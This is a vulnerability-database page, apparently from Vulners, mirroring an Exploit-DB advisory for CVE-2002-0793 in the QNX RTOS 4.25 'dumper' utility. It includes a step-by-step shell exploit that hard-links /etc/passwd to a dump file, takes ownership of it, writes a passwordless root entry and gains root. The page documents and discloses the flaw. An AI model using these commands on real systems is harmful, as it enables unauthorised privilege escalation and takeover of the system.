Lucene search
+L

QNX RTOS 4.25 - dumper Arbitrary File Modification

🗓️ 31 May 2002 00:00:00Reported by Simon OuelletteType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 56 Views

QNX RTOS dumper allows file modification via symbolic links, enabling privilege escalation attacks.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2002-0793
26 Jul 200204:00
cve
cvelist
Cvelist
CVE-2002-0793
26 Jul 200204:00
cvelist
exploitdb
Exploit DB
QNX RTOS 4.25 - 'CRTTrap' File Disclosure
31 May 200200:00
exploitdb
exploitdb
Exploit DB
QNX RTOS 4.25 - monitor Arbitrary File Modification
31 May 200200:00
exploitdb
nvd
NVD
CVE-2002-0793
12 Aug 200204:00
nvd
ptsecurity
Positive Technologies
PT-2002-1814 · Blackberry · Qnx Rtos
26 Jul 200200:00
ptsecurity
source: https://www.securityfocus.com/bid/4904/info

When creating memory dump files, the QNX RTOS debugging utility 'dumper' follows symbolic links. It also sets ownership of the file to the userid of the terminated process. It is possible for malicious local attackers to exploit this vulnerability to overwrite and gain ownership of arbitrary files. Consequently, attackers may elevate to root privileges by modifying files such as '/etc/passwd'.

Example exploit, with /bin/dumper:

Let EVIL be the unprivileged user who wants to gain root access.

#link to the passwd file: dumper dumps to [process name].dmp
$ ln /etc/passwd /home/EVIL/ksh.dmp
#call the program that will attempt to write to the hard link
$ dumper -d /home/EVIL -p [PID of EVIL's ksh]
#have dumper do its job by terminating the monitored process
$ exit
#at this point, /etc/passwd is overwritten by the binary dump, and more
importantly: EVIL is now the owner !
$ echo root::0:0::///:/bin/sh > /etc/passwd
#but now no login works because /etc/passwd is not owned by userid 0. #So
you do:

$ passwd

#and change your password. This gives /etc/passwd ownership back to root,
keeping the modifications you have made.

$ su
#

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Sep 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.6
CVSS 3.15.5
EPSS0.01343
56